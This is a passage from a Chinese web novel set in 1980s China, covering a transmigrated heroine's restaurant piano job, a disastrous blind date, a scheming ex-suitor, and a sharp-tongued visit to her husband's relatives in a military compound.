虽然才九点多,但柳绵绵已经感觉又累又困。想想她这一天确实干了不少事,弹了五小时的钢琴,还去了旧货商店和百货大楼。 还是赶紧回房睡觉吧。 屋里亮着台灯,沈维舟坐在写字台前,面朝黑漆漆的窗外。 柳绵绵拉了下灯绳,天花板上的日光灯亮了起来,沈维舟倏地扭头向她看过来,眼神警醒而冰冷,柳绵绵吓了一跳,定睛再看时,他已经转过头去了。 这人也不知道怎么回事,有时候看人的眼神犀利得可怕。 不过作为“同床室友”,柳绵绵倒是不怕沈维舟。 一个病入膏肓的弱鸡,眼神再可怕有什么用?没见家里安排人去接她下班,都没考虑过他。 柳绵绵没再管沈维舟,自己拿了东西进卫生间洗漱。 等她洗漱完出来,沈维舟依然坐在写字台前,连姿势都没变过。 柳绵绵好奇看了眼窗户,开了日光灯以后,室内光线充足,玻璃窗就变成了镜子,窗外景色是看不到了,只能看到屋里的。 大晚上的,沈维舟总不至于是坐这儿照镜子吧? 心里正吐槽,视线在“镜子”里与沈维舟对上了。 “……” 果断扭头上床。 “你什么时候找的工作?”沈维舟突然问。 柳绵绵觉得稀奇,别看他俩朝夕相处,其实很少说话的。沈维舟那副样子,明显就是拒人千里之外,她没有受虐倾向,自然也不会觍着脸往上凑。没想到他竟然主动关心她的工作? 柳绵绵一边拽被子一边回答:“结婚第二天。” 沈维舟沉默了许久,才又出声问:“为什么会想到去西餐厅找工作?” 柳绵绵已经钻进被窝,打了个哈欠,说:“哪有那么多为什么?那天吃完早饭随便逛了逛,刚好看见他们家在招工,就去试试啰。自己挣钱自己花,走遍天下都不怕。” 沈维舟只听过“学好数理化,走遍天下都不怕”。 不过这不重要,重要的是,自私自利、连私奔的时候都不忘卷走他家财物的柳绵绵,居然会说出“自己挣钱自己花”这样的话。 重要的是,在本该私奔的日子,她竟然跑去西餐厅上班了。 回家以后,沈维舟已经检查过报警装置,设备没有任何问题,事实就是柳绵绵根本就没去他父母房间里找过东西。 她没有偷盗财物。 她也没有私奔离开。 她甚至找了工作,一副准备好好过日子的样子。 沈维舟感觉自己像是一拳头打在了棉花上,这些日子以来,在心头汹涌的那些情绪,厌恶,愤怒,即将大仇得报的兴奋,和隐隐的犹豫与不安……嘭地一下,全都化作一片茫然的空虚。 啪地,迷迷糊糊中的柳绵绵伸手关掉了日光灯。 周围更安静了。 在这片没有丧尸嘶吼、怪物尖叫的安静中,沈维舟听到柳绵绵的呼吸声变得绵长,没多久,她发出了极轻极轻的呼声。 夜越来越深了。 第二天柳绵绵醒来的时候,窗外已经艳阳高照。 另一半床上照例只有叠得整整齐齐的被子。柳绵绵现在都开始怀疑,沈维舟夜里是不是不睡觉的。难怪那么虚,被原主私奔的事一刺激,马上就病发身亡了。 柳绵绵决定偷偷告诉刘婶,让家里长辈治治他。 一早买来的烧饼和豆腐脑都已经凉了,刘婶用烧水的煤炉子重新回锅加热了一下,原本已经有些软趴趴的烧饼,立马变得更脆更香了。 南省人吃豆腐脑不拘咸甜,爱吃咸的吃咸的,爱吃甜的吃甜的。柳绵绵喜欢咸甜搭配着吃,烧饼是咸的,豆腐脑里就舀了一大勺红糖。 刘婶坐在小板凳上摘菜,手里动作飞快,不过一点没影响她说话:“你们昨天不是在百货大楼碰见那个谁了吗,哦哟,肯定回去挑拨离间了。上午军区大院那边来电话,沈志邦问维舟,既然身体没什么不舒服,有时间去逛百货大楼,怎么没时间带着新媳妇儿去军区大院吃个饭?” 柳绵绵咔咔咬着烧饼,含含糊糊说:“我要上班的。” 刘婶摆摆手:“放心好啦,维舟说手头有个什么东西要研究,没工夫过去吃饭的。” 叹了口气,又说:“接完电话就又钻进书房去了,不搞那些电线啊管子啊铁盒子什么的了,一直坐在那里写写画画。也不知道是要做什么研究,太辛苦了哦,他那个身体,怎么吃得消哟!” 研究什么,研究重要军工项目,而且研究到一半人还嘎了,后面项目落在沈维鸿手里,纯纯就成了为人做嫁衣裳的大冤种。 想到这里,柳绵绵鬼鬼祟祟看了窗外一眼,压低声音和刘婶一通说,刘婶听着眉头越皱越紧:“哦哟,这样当然不行的,不睡觉身体怎么会好啦,我回头和他爸爸妈妈说去。” 柳绵绵嘿嘿一笑,深藏功与名。 她没有和原主一样私奔,沈维舟就不会因为新婚妻子跑路而受到刺激,家里长辈再管着点,没准他能活得长一点。 最好是活到把那个什么军工项目给研究出来,让沈维鸿吃屁去。 刘婶摘完了菜,见柳绵绵还在慢悠悠地喝豆腐脑,于是说:“你先吃着,我出去一下就回来。” 柳绵绵以为刘婶是出门去找邻居们闲磕牙了,当然,事实上也差不多,只不过刘婶今天是带着目的去。 “小沈媳妇儿找到工作了,还是她自己找的?!”大妈们震惊了。 刘婶昂首挺胸,仿佛找到工作的人是她:“港城老板开的那家西餐厅,哦哟,之前五号院的小邹不是去吃过吗,很有格调的。沈教授和俞主任都说,那个地方工作环境不错,离家也近,绵绵去那里工作很合适啦!” “工作时间很短的,几个小时,工资应该蛮高的,港城老板开的店,比其他地方肯定要高的啰。好啦好啦,我还要回去做午饭呢,回头再说啦!” 刘婶匆匆地来,又匆匆地走了,留下大妈们面面相觑。 “说得好听点是西餐厅工作,说难听点就是去当服务员嘛,有什么好神气的哦!”曹大妈撇嘴说。 “服务员哪里难听了,国营饭店服务员,你想当还当不了呢。”一位大妈嘀咕,“也不晓得那个西餐厅还招不招人哦?” 一语惊醒梦中人。 这年头谁家没个无业在家、闲得抠脚的亲戚? 大妈们一哄而散。 曹大妈也匆匆跑回家,想要打电话给自家没工作的侄子。 他儿子正好下班回来,问清楚情况后,扶额叹息:“妈你别折腾了,那家西餐厅的服务员都是从中学毕业生里挑的长得好、脾气好的,早招满了。还在招的是钢琴师,表弟会弹钢琴吗?!” 就他那个被家里宠坏的表弟,可省省吧。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 15、第15章 周五早上,柳绵绵刚坐下吃早餐,听见正房那边电话嘀铃铃直响,不一会儿,就见刘婶骂骂咧咧地从窗外小跑过去,她忍不住噗嗤笑了出来。 这阵子军区大院那边每天雷打不动打电话过来,头两天老爷子还语带埋怨,到了第三天,接电话的人就变成了刘婶,一句“维舟去研究所了,忙着没空”,直接把人打发了。 刘婶是沈维舟奶奶徐蕙兰女士的表外甥女,当年她的母亲,也就是徐蕙兰女士的表姐,据说当面都是要啐沈志邦是个现世陈世美的。刘婶好一点,顶多就是说话不太客气。 研究所那边不好随意打扰,于是那天以后就变成老爷子的警卫员每天打电话来,一则是盯着沈维舟的行踪,二则也是无形中的施压。长辈天天盼着呢,你们还真能一直不过去? 刘婶每天接电话都要骂一句闲着没事干。 柳绵绵从餐厅敞开的窗子探头出去,果然听见刘婶难得的大嗓门:“闲着没事干天天打电话,打电话是不要钞票的吗,你们不要钞票,国家也要钞票的呀!好了好了,这礼拜天休息就过去,明天就不要再打电话来了!天天催,天天催,礼拜天要烧龙肉给他们吃的哦!” 柳绵绵差点笑岔气。 刘婶平时真是再和气不过的一个人,好像也只有说起军区大院那家人时,才会这样阴阳怪气。 一直拖着不去也不是办法,周日西餐厅有剧团的人过来兼职,柳绵绵轮到休息,沈维舟那边也说有空,于是家里商量了下,准备让他们小夫妻带着沈维云一起过去。 嗯,就等着去军区大院吃龙肉了。 吃过早饭,柳绵绵顺手洗了碗,从屋里搬了躺椅出来,躺在石榴树下晒太阳。 清明一过,早春的寒意渐渐被驱散,春深叶茂,阳光也越来越烈,晒不了多久太阳啰。 中午照例踩点去上班。西餐厅生意不错,十多天下来,柳绵绵已经拿到了六十多元点曲费,“小金库”日益充盈。目前为止她对这份工作非常满意。 而且,柳绵绵最近发现,西餐厅这个工作不但收入高,有时候还能一线吃瓜,简直挣钱娱乐两不误。 就比如今天,坐在她侧前方的一对男女,明显是来相亲的。女方背对这边,还被柱子挡了一半身体,看不清。男方正好面向这边,是个长相普通头发稀疏,看着年纪还有点大的男人。 男人从一落座就开始叭叭叭,离得近,他嗓门又不轻,柳绵绵听得清清楚楚。 “你爸是车间主任,我妈是街道干部,咱们这就叫门当户对。” 第一次听说这种门当户对。 “你条件确实是比我差一点,我是街道办干事,是干部身份,你是国营工厂临时工,连正式工都不是,咱们这就差了两个级别了。” 笑死,还差两个级别,不知道的得以为他至少是个处级干部吧? “你们家也是奇怪,你爸好歹也是个车间主任,给你转正都做不到吗?哎,算了算了,我也不嫌弃你。低头娶妻,抬头嫁女嘛,讨老婆有时候是得低低头,放低一些要求,这个我还是懂的。女人也不用太有事业心,相夫教子才是最重要的。” 这样解释低头娶妻抬头嫁女这句话,真是让人大开眼界。 柳绵绵轻柔按着琴键,眼神和站在过道上的服务员小姑娘田苗苗对上,俩人不约而同露出鄙夷的神情。 那边还没叭叭结束呢:“听说你想辞了工作去干个体户,这肯定不行的。你说你怎么会有这种想法,个体户是什么,都是些找不到工作的二流子,咱们这样的家庭,怎么能去干这种?我知道临时工工资低,你想多挣点,可是你也不能这样自甘堕落。你也不要想东想西了,等咱们结婚了,家里支出大头都是我爸妈负担,咱们支出少,工资都不怎么用得着。” 说半天,意思是结婚以后公婆掌家,自己工资也不会交给老婆,还不让老婆出去做个体户挣钱呗。 柳绵绵都有点佩服坐他对面那个姑娘了,竟然能一直忍着听他叨叨,既没泼他一杯水,也没骂他一声普信男。 “我妈翻过黄历了,这个月有点赶,下个月三号是个适合结婚的好日子。咱们这样的家庭,也不适合大操大办,俭朴一点……” 眼看谈话直接就奔着结婚去了,对面那个姑娘终于忍不住出声了:“你这人还挺逗。” 这个声音有点耳熟,柳绵绵回忆几秒,想起这是军工大院住柳家隔壁的蒋红梅,她爸是南城军工厂二车间车间主任。 真是风水轮流转,这位那天看她要彩礼钱的热闹看得很欢,这才半个月都不到呢,轮到她自己被看热闹了。 那边的对话还在继续。 男人显然不满蒋红梅的态度:“你这是什么意思,你这样说话太轻浮了,结婚以后这些坏毛病你一定要改掉……” 蒋红梅打断他:“你说的这些,相夫教子,不做个体户,我做不到,咱们不合适。”说完她就站了起来。 她觉得已经说清楚了,转身正要走人,男人却突然站起来:“你爸妈已经同意我们结婚,你……”他伸手就去拽蒋红梅,蒋红梅一直压着的火气终于爆发了出来,一巴掌抽在他的脸上。 “把你的手拿开!”蒋红梅冷冷说,“好好说话你听不懂是吧?那我就直说了。你家里没有镜子的话,就早上起来撒泡尿照照自己,就你这样的,也好意思嫌弃别人?真是长得丑想得美。我爸妈同意结婚,你跟我爸妈结婚去!” “太粗俗了,你太粗俗了!” 男人气得脸涨得通红,伸手想打回去,餐厅这边两个小伙子冲过来把人拉住了。 蒋红梅也没再火上浇油,扭头就走了。 “你们做什么,你们就是这样对待来用餐的客人吗?”男人想追上去,奈何两个小伙子力气都不小,他话锋一转,开始指责餐厅,“你们餐厅不是号称客人就是上帝吗,真是笑话,上帝还能在你们这儿被人打?!你们有不可推卸的责任!” “既然你这么觉得,那要么大家一起去派出所,请公安同志帮忙评评理,究竟是谁的责任。”柳绵绵问,“你看这样行吗,街道办的同志?” 一听派出所和街道办,男人就像被掐住喉咙的鸭子,一下就没声儿了。 他盯着站在钢琴前的漂亮女人,嘴巴张张阖阖,最后色厉内荏说了句“算了,不跟你们这些人一般见识”,就匆匆往外走。 在门口被收银喊住买单,他又叽叽歪歪了一句“这么贵”,不过也没敢多说什么就走了。 柳绵绵都能想象他的内心独白:算了算了,我们这样的家庭,丢不起这个脸。 蒋红梅说的没错,挺逗的。 小插曲过去,餐厅内很快恢复安静。 “好可怕,怎么会有这样的人,就像你上回说的,弄得跟家里有皇位要继承一样哦。”田苗苗拿了个托盘过来,悄咪咪吐槽了一句,才说,“柳姐,三号桌点了一首曲子。” 苏联作曲家肖斯塔科维奇的作品,《第二圆舞曲》。 三号桌是餐厅常客,隔三差五过来,偶尔会点一首曲子,都是苏联的歌曲。 弹完这首曲子,也就到了下班时间,柳绵绵领了今天的点曲费,和餐厅其他人说了声“晚餐见”,晃悠着出了门。 一出门就看见蒋红梅靠在餐厅招牌旁侧的墙上,见她出来,挥挥手算是打招呼。 柳绵绵没想到她还在:“你还没走啊?” 蒋红梅:“早回去早挨骂,不如晚点回去。” 柳绵绵觉得这人还挺有意思的:“我刚才就很好奇,你怎么能忍他那么长时间的?”上次见面她就看出来了,蒋红梅可不是那种闷声不吭、任人欺负的个性。 “他大伯在国防工业办上班,是军工厂的顶头上司,出门前我爸千叮咛万嘱咐,尽量给对方留个好印象。”蒋红梅无奈道,“可惜了,忍半天白忍了,还不如一开始就抽他。” “算了,不说这些倒霉事了。”蒋红梅又说,“今天谢谢了啊!” 她看见柳绵绵冲几个服务员使手势了,要不是服务员拉偏架,她今天怕是没那么容易脱身。 柳绵绵摇摇头:“小事情,餐厅本来也要维持秩序的。” 蒋红梅点点头,沉默了一会儿,说:“我也不欠你的,你帮我一次,我跟你说个消息。” 柳绵绵挑了一下眉。 蒋红梅说:“我那天碰巧看见柳锦诗去找朱永齐,我听她说的话,好像是想挑拨朱永齐,去你婆家泼你脏水。具体怎么回事我不知道,你自己小心点吧。” 柳绵绵:“……” 她这也算是吃瓜吃到自己身上了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 16、第16章 南城军工厂家属院。 这边也不都是楼房,像柳家那样的楼房,都是分给有点职位的人的,柳家就是柳志刚当上车间副主任以后换到这边来的。两边的邻居,不是车间主任,就是保卫科的副科长。 这边更多的是一两层的民房,二三十平方的屋子住了上下三代人,白天放饭桌吃饭,晚上床板一铺还得睡觉。尤其这些年知青大量回城,许多人家的住房就更紧张了。 朱家就是。 朱永齐家是兄妹仨,大哥朱永全早年下乡,他回城早,知青办给安排了个酒厂临时工的工作,分房是不可能的,所以他拖儿带女地都住在家里。 朱永齐和朱美琪年纪小一点,正好躲过了上山下乡,但也正巧碰上了知青回城、工作最难安排的时候,加上俩人各方面都一般般,几次参加招工也都没考上,所以俩人都是无业在家。 “都怪两个老不死的,怎么都不肯把工作让出来。”家里人多,晚饭吃得清汤寡水,朱永齐躺在床上饿得前胸贴后背,气得骂骂咧咧。 叠床上铺的朱美琪扒开床帘探出脑袋:“哥,柳绵绵真不理你了?” 朱美琪并不在意父母的工作,她很清楚,父母哪怕把工作让出来,也是给两个哥哥,跟她没有一分钱关系的。再说,当初大哥下乡的时候,父母都没舍得把工作让出来,现在就更不可能了。 朱美琪其实更在意朱永齐还能不能把柳绵绵哄回来,她都听说了,那个土包子回娘家要回了两千块钱彩礼。 那可是两千块钱呐! 听到柳绵绵的名字,朱永齐顿时脸色更加阴沉。 其实他也想不通,明明之前他给柳绵绵忽悠得言听计从,可一夜之间,她就像变了个人似的,变得冷漠又绝情,完全和他划清界限了。 看来是嫁进沈家,觉得自己从此能过上好日子,就翻脸不认人了。 “明明都骗她说那个姓沈的病入膏肓活不了几天了。”朱永齐低声喃喃。 朱美琪没听清:“哥你说什么?” 朱永齐没吭声。 朱美琪不以为意,又问:“我那天看见柳锦诗来找你,哥,她找你做什么?” 如果二哥能勾搭上柳锦诗,自然也是很好的,柳锦诗是军工厂的宣传干事,工资比一般工人高。当然,朱美琪其实也知道不可能,柳锦诗可不是什么好忽悠的人。 朱永齐不耐烦地说:“没什么,睡你的觉,别问东问西了。” 朱美琪撇撇嘴,躺了回去。 朱永齐回想柳锦诗说的那些话,嘲讽地哼笑了声。 他以前和柳锦诗没怎么接触过,只听大院里的人都夸她成绩好、有能力,也有夸她性格好人品好的,这回接触了,才知道都特么假的。 那个女人口口声声说自己是为了柳绵绵好,让他尽量澄清一下外面那些不利的谣言。真是太可笑了,他倒是想弄些流言出来威胁柳绵绵一把呢,可自从他蹲了派出所,谁还信他的话? 哪里有什么谣言需要他澄清? 都是千年的狐狸,跑到他面前演起聊斋来了。以为他没听出来吗,不就是想让他去求知巷还有军区大院那一片闹腾,把柳绵绵的名声给搞臭吗? 当他蠢呢,这么做对他有什么好处,沈家可不是什么好惹的,还真能受他威胁拿钱了事? 到时候没准羊肉吃不到,反倒惹一身骚。 朱永齐翻了个身,床板咯吱咯吱响了起来,他啧了一声,过了会儿,反应过来,咯吱咯吱的声音并不是来自他的床,而是来自隔壁。 大哥朱永全回城之前,他睡的隔壁,大哥回来以后,一家子就把那间房给占了,他被赶过来和朱美琪一间房。 这年月谁家住房都紧张,兄妹姐弟睡一间房也没什么好奇怪的。 朱永齐气的是,两个老的大概是觉得以后养老多半要靠老大了,家里有点什么都先紧着他们一家子。 朱永齐被隔壁闹腾的声音搅得心烦,边在心里骂朱永全牙口太好那样的女人他也吃得下去,边琢磨着这家确实是待不下去了。 还是得去南边儿,等他从南边儿挣了大钱回来,两个老不死的就知道后悔了。 “老弟,文有文的做法,武也有武的路子,骗不上钩,你就换一种嘛!” “用不着你动手,只要你创造个机会,咱们兄弟自然会把事情办妥,你等着收钱就行了。” “黄货价钱高,白货咱也不嫌,漂亮的最好,南边儿有人专门收这种,买去关在小宾馆里,天天都能挣钱。” …… 脑海中冒出那些人说的话。 刚开始接触那些人的时候,朱永齐还搞不明白他们说的黄货白货、明货暗货的是什么意思。 现在他已经知道了,黄货是没结婚的小姑娘,白货是结过婚的,暗货是骗来的女人,明货就是跟家里有矛盾或者遭难了出走被拐的。 妈的,柳绵绵结过婚价格都少一截。 朱永齐在心里骂骂咧咧,忽然又嗤笑了下,柳绵绵是结婚了,柳锦诗可没结婚。 一只羊也是赶,两只羊也是放,柳锦诗自己跑他面前来刷存在感,可就怪不得他了。 就在朱永齐雄心壮志准备“干一票大的”的时候,求知巷9号院这边,柳绵绵还不知道有人已经对她磨刀霍霍。 她下班回来直接进屋洗漱,洗漱完出来,发现沈维舟已经坐在写字台前。 哪怕她找刘婶告了状,这阵子沈维舟也还是早出晚归的。通常都是早晨柳绵绵醒来的时候他已经走了,晚上柳绵绵睡着的时候他还没有回来,而且他大部分时间都不在家,而是去了研究所。 要不是刘婶证明他每天都回东厢睡的觉,柳绵绵差点就要以为他是单方面解除同床室友关系了。 所以,别看他俩住一个屋睡一张床,其实他们见面的机会是很少的。 难得今天沈维舟这么早回来,柳绵绵边搓面霜边好奇问:“你最近挺忙的哈,身体感觉怎么样,吃得消吗?你在研究所是搞什么研究吗,研究得怎么样,成功了吗?” 有一说一,沈维舟的身体状况和某个保密项目的研究进度,是除赚钱以外,目前柳绵绵最关心的两个事情了。 一个关系到她什么时候会从新婚小媳妇儿到倒霉小寡妇的身份转变。 一个关系到沈维鸿是摘桃子还是吃屁。 沈维舟靠在椅背上扭头看向柳绵绵。 她身上穿了一条碎花棉布的短袖睡裙,头发在头顶上绑了个有点像道士髻的揪,皮肤好像更白了,一双水润的桃花眼,正闪闪发亮地盯着他。 这个人怎么会是柳绵绵呢? 她分明和上辈子的柳绵绵完全不同。 可如果不是柳绵绵,她又是谁? “说话呀。”柳绵绵催促,“刘婶说你们那个研究所还是个保密单位,怎么,保密单位同事之间也不说的吗,不然怎么上了几天班就成了哑巴了?” 上辈子她会这样和他说话吗? 不会的。 沈维舟垂下眼眸,淡淡说:“管好你自己。” “……” 柳绵绵气呼呼地瞪着他,瞪了半天也没见他抬头。 白瞪了,更气了。 “呵,再管你我就是猪!” 说完她一转身,声音很大地爬上床,把自己的被子摊开,推到中间线的位置,用大半的被子建起一条“三八线”,再扯过一角被子盖在肚子上,这才觉得气顺了一点。 一直到身后的人发出轻微的呼声,沈维舟才站了起来。 床上的被子已经被柳绵绵睡得歪七扭八,不过堆叠在一起的被子,依然能隐约看出“三八线”的痕迹。她身上盖了一小角的被子,过膝的睡裙被拽高了,露出雪白笔直的腿。 沈维舟移开视线,转身进了卫生间。 第二天吃完早饭,柳绵绵就跟刘婶要了辣椒、风油精、酒精做自制加强版辣椒水。 其实蒋红梅不说,柳绵绵也早猜到朱永齐不会善罢甘休。有没有柳锦诗挑拨都一样,朱永齐可不是什么善男信女,不可能派出所蹲两天就会改过自新。他是个完全没有底线的人渣,做出什么事来都有可能。所以她得做些防备。 刘婶觉得很新鲜:“这东西能有用?” “万一遇到事,肯定比赤手空拳要好点。我还做了别的准备,每天带把伞,伞里绑个金属扳手,差不多也能当个武器了。我还买了个哨子,体育老师最喜欢用的那种,可以当个求援工具。” 顿了下,柳绵绵有些遗憾地说:“主要是客观条件不允许,不然每天提个锣上班应该更有用,万一有什么,就使劲敲锣,方圆百米内的人都得跑出来,看看究竟是着火了还是怎么了吧?” “……” 路过听见的沈维舟嘴角微抽,她还挺惜命。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 17-20 第17章 “大杀四方” 周六一整天风平浪静,上下班的时候连只老鼠也没碰见,防狼自保三件套暂时没有用武之地。而且,刘婶也说巷子里没见到什么可疑人员,大妈们除了好奇西餐厅工资多少,也没什么关于她的闲言碎语。 那就先不管了。 反正只要朱渣男敢出现,加强版辣椒水肯定能泼他个狗血淋头。 转眼到了周日,南城军区大院一日游的日子。 柳绵绵比平时起得还要早一点,毕竟出门嘛,总要好好拾掇一下。 倒是刘婶已经习惯她每天日上三竿才起床的作息了,对于她休息日还要早起非常心疼,嘴里絮絮叨叨地埋怨:“天天上班上到夜里九点,好容易休息一天,还要早起。” 柳绵绵:“……” 要这么说确实也没错,她确实是天天上班上到夜里九点,就是只上那么几个小时而已。 难得在家的沈维云正捧着书坐在石榴树下复习,闻言忍不住抬头看了看天,这太阳烈得她都快坐不住了,这叫早起?那她一大早地就起来看书算什么? 再看刘婶乐呵地忙活着给柳绵绵煮小馄饨、热馒头,沈维云更不明白了,什么时候刘婶和这个女人这么好了?! 俞婉也休息在家,她拎了两个网兜出来,交代柳绵绵:“这是我给你们准备的伴手礼,都是老爷子爱吃的,其他人就不用管了。” 柳绵绵心说便宜婆婆说话还挺直白。 俞婉继续说:“还有,你们结婚那天,正好赶上军区有急事,老爷子和他小儿子沈文山都去开会了,两个小的,沈维鸿和沈菲菲,也找了借口没过来。最后他们家就来了沈维鸿的妈妈邬淑华一个人。他们理亏,你们今天过去了,也不用太客气。” 柳绵绵狡黠一笑:“你让我跟他们客气,我也不会啊!” 俞婉顿时笑得眉眼弯弯:“促狭鬼!” 柳绵绵叹了口气:“其实你与其担心这个,不如担心要是我太不客气了,该怎么收拾残局。” 这下俞婉更笑得直不起腰:“没事没事,有事沈伯康顶着呢。” 沈伯康丁点大时,沈志邦就去打仗了,多年后再相遇,当年的奶娃娃已成了翩翩少年郎,随后父母就又离婚了。沈志邦几乎没尽过做父亲的责任,心中有愧,在沈伯康面前从来端不起一点做父亲的架子。 柳绵绵舒了口气,表示这样她就能放心惹祸了。 当然,柳绵绵觉得自己其实也不是个爱惹祸的人,就是有些人如果阴阳怪气,她怕自己忍不住想抽人。 窗外的沈维云看了眼其乐融融的餐厅,心里更更不明白了。 怎么她妈也和这个女人关系这么好了? 别看她妈对谁态度都很好,说话做事既温柔还有耐心,但沈维云一直都知道,母亲那是教养和习惯所致,真想获得她的接受和认可,其实是很难的。 但是,这个女人用了半个月时间就获得了她妈的喜爱。 沈维云收拾复习资料起身回了自己房间。 她感觉,在她不怎么回家的这段日子,家里人都叛变了。 上午十点,军区派来的车准时停在了9号院子外面。 沈维舟掐着点从书房出来,俞婉本想让他拎东西,结果柳绵绵直接就把东西拎走了,说:“他好好照顾自己就行了。” 俞婉失笑:“那行,辛苦咱们绵绵了。” 等到车子慢慢开出去,俞婉叹息道:“绵绵刀子嘴豆腐心,是个很好的孩子。” 刘婶成天和柳绵绵一起,都快进化成柳绵绵脑残粉了,马上说:“嘴巴利索才好哦,你看维舟是个不爱说话的,维云嘴巴也不是多利索,往常他们去那边,我这心里老是七上八下,真担心他们吃亏哦!现在可不用担心了,绵绵说了,要是那边几个说话不中听,她就让他们知道知道花儿为什么这么红。” 两人顿时都笑了起来。 * 车上,“不爱说话”的沈维舟坐在后排,余光瞥见一抹水蓝裙摆在黑色的汽车座椅上铺散开,一角柔软的布料压在了他的裤子下面,他轻咳了声,身体不着痕迹地往侧边挪了挪。 极其轻微的动作还是被柳绵绵察觉了,她扭头看了沈维舟一眼,翻个白眼,动作幅度很大地往自己那边挪了挪。 哼,谁还不是个只可远观的小公举了? 沈维舟:“……” 这是昨晚的气还没消呢。 沈维舟张了张嘴,最后还是什么也没说,侧头看向了窗外。 坐在副驾驶的沈维云,时不时就瞥一眼后视镜,偷偷观察后排的情况。恰好看见这一幕,沈维云顿时悄悄松了口气,露出一抹如释重负的笑容。 还好还好,还有大哥没有叛变。 哼,大哥这样聪明的人,肯定不会轻易被这个女人的美貌迷惑。 车子一路安静平稳地驶入南城军区大院。 军区大院内自有一种特殊的肃穆气氛,宽阔的道路两旁,树木都笔直笔直的,不远处的楼房,高度一致,长宽也一致,一排排特别的整齐。 车子一直往里开,树木从高耸入云渐渐变得低矮,绿树掩映间,露出一栋栋红色的小楼。这就是南城军区大院有名的“小红楼”了,里面住的无一不是功勋卓著的老将军,因此也被称为“将军楼”。 车子在一栋小红楼前停下,门前一位穿军装的小战士等在那里,看到柳绵绵他们下车,他先敬了个礼,说:“柳同志、维云同志、维舟同志,首长在里面等你们。” 说完领着三人往院子里走。 柳绵绵笑着问小战士:“你就是向卫军吧?” 小战士挠挠头,腼腆地笑了下:“柳同志,是我。” 柳绵绵顿时乐了。 老爷子的警卫员向卫军同志,这些日子天天雷打不动地往9号院打电话,可替老爷子挨了刘婶不少骂。 快走到门口时,沈维鸿从里面走了出来,看见柳绵绵他们,先是友好地笑了下,随后又说:“爷爷可算是把你们盼来了。” 柳绵绵翻了个白眼,反问:“所以除了老爷子,其他人都不太欢迎我们?” 沈维鸿一噎,干笑:“怎么会,大嫂你误会了。” 柳绵绵也随之一笑,说:“瞧你紧张的,我开个玩笑而已。” 沈维鸿:“……” 他就多余出来多这个嘴。 沈维舟掩了眼底的笑意,淡淡道:“进去吧。” 沈维云看一眼沈维鸿,又瞥一眼柳绵绵。她不喜欢沈维鸿,觉得这个名义上的堂哥,人前人后两张面孔,看见他吃瘪,心里莫名有些暗爽。 沈老爷子和方美云只生了沈文山这一个儿子,沈文山膝下一子一女,也就是沈维鸿和沈菲菲。沈维鸿目前大学在读,已经大四,马上面临毕业,沈菲菲则还在读高二。 一家子都在客厅里等着他们,不过除了沈老爷子,其他人脸上的笑容多少有点勉强。 “你们结婚那天军区有紧急会议,开会到凌晨才结束的,我也是回家才知道,他们一个个的,都没过去。”老爷子哼了一声,“我已经骂过他们了,小柳啊,你大人有大量,别跟他们计较。” 难怪一个个脸色都不太好看呢,敢情刚挨骂了。 方美云咳嗽了一声,说:“每年三月天气变化一大,我就容易感冒,这病断断续续地,都快一个月了也没见完全好。那天也是巧了,我有点发烧,维鸿和菲菲都是孝顺孩子,见我不舒服,就非得在家陪着。” 柳绵绵心说,这位“二奶奶”可真会说话,意思就是沈维鸿他们是孝心可嘉,如果她和沈维舟计较,就是不识大体呗。 沈维舟轻咳了声,正想开口,就见柳绵绵忽然扭头朝他看过来,急切问:“你又不舒服了?” 沈维舟一顿,柳绵绵的手重重在他背上拍了两下:“我早说了,不舒服就该在家待着,你看你还逞强。你就该跟人家学学,甭管外头有天大的事,谁结婚啦,谁打电话啦,就算是炮弹打到家门口,都要有泰山崩于前不变色的气概,好好在家待着。” 方美云:“……” 沈老爷子沉声道:“错就是错,对就是对,不要找借口。” 其他人脸色顿时更难看了。 柳绵绵拍着沈维舟的背,视线一扫,落在离得不远的沈维鸿身上。她忽然啧了一声,用手捂了捂鼻子,说:“沈维鸿同志,你平时是不是不太注意个人卫生啊?” 沈维鸿:“???” 他一脸迷茫:“啊?!”不明白为什么突然遭受人身攻击。 柳绵绵有理有据:“维舟最近身体好了许多,只有每次碰见你的时候,就不太舒服,上次在百货大楼是这样,今天也是这样。我听医院医生说,身体弱的人,平时要格外注意,尽量不去人多的地方,因为人多细菌病毒也多。” 她一脸认真:“我就是科学合理地推测一下,维舟碰见你不舒服,可能就是因为你身上细菌病毒什么的比较多。哎,男同志嘛,大而化之的,不太注意卫生也正常的。下次注意一点就好了。尤其是出门回家,要及时洗澡勤换衣服。毕竟家里老人也身体不好呢。可别陪老人,还把老人陪得病更重了。” 沈维鸿咬牙:“不是,我没有。” 他又不是那些成天在外面训练的兵蛋子! 方美云哪里受得了宝贝孙子被人这么说,不由帮腔:“维舟是先天性疾病,他不舒服怎么会和维鸿有关系,这种说法毫无科学依据!” 柳绵绵深深看她一眼,说:“医学知识日新月异,我听那些医生都说,每天看书看报也跟不上科学发展呢。其实不说这些,只看手术室那么讲究消毒与卫生就知道了。” 沈老爷子冲方美云摆摆手:“你退休好几年了,有些东西可能也不知道。” 又冲沈维鸿道:“你早上出门回来没有洗澡换衣服吧,回房去换洗一下。” 沈维鸿:“……爷爷!” 邬淑华给儿子使了个眼色,出声打圆场:“听你爷爷的,回屋去洗个澡换件衣服。事关你大哥的身体,不管真假,注意点总是没错。” 沈维鸿后槽牙都快咬碎了:“行。” “维舟,要不要找医生过来看看?”沈老爷子问。 沈维舟“虚弱”地摇头:“不用,先天性疾病,老毛病了,缓一缓就好了。” 方美云脸色一僵。 沈老爷子皱了皱眉,哼了一声,说:“护士的话做不得准,你要听医生的。” 做过护士的方美云顿时难堪得坐不住,起身说:“我去厨房看一下鸡汤炖得怎么样了。”被老伴儿当众下面子,她声音都有些哽咽了。 随着方美云匆匆离开,客厅里陷入一阵诡异的安静。 沈维云看看这个,又看看那个,心里一阵“妈呀,妈呀,妈呀妈呀,还能这样”,心说柳绵绵还真是说到做到,说不客气就真不客气哎! 邬淑华起身给大家茶杯里加了水,笑着说:“绵绵是高中毕业的吧,懂这么多,平时应该挺喜欢读书看报?倒是可惜了,应该去试试考个大学的。” 这话绵里藏针,意思大概是,你一个高中毕业生,倒是好意思在这里大放厥词,和大学生说什么医学知识、科学发展。 柳绵绵只当自己没听懂,说:“古人说行行出状元,我对考大学没兴趣。” 沈菲菲嗤地笑了出来:“说得好像想考就能考上一样。” 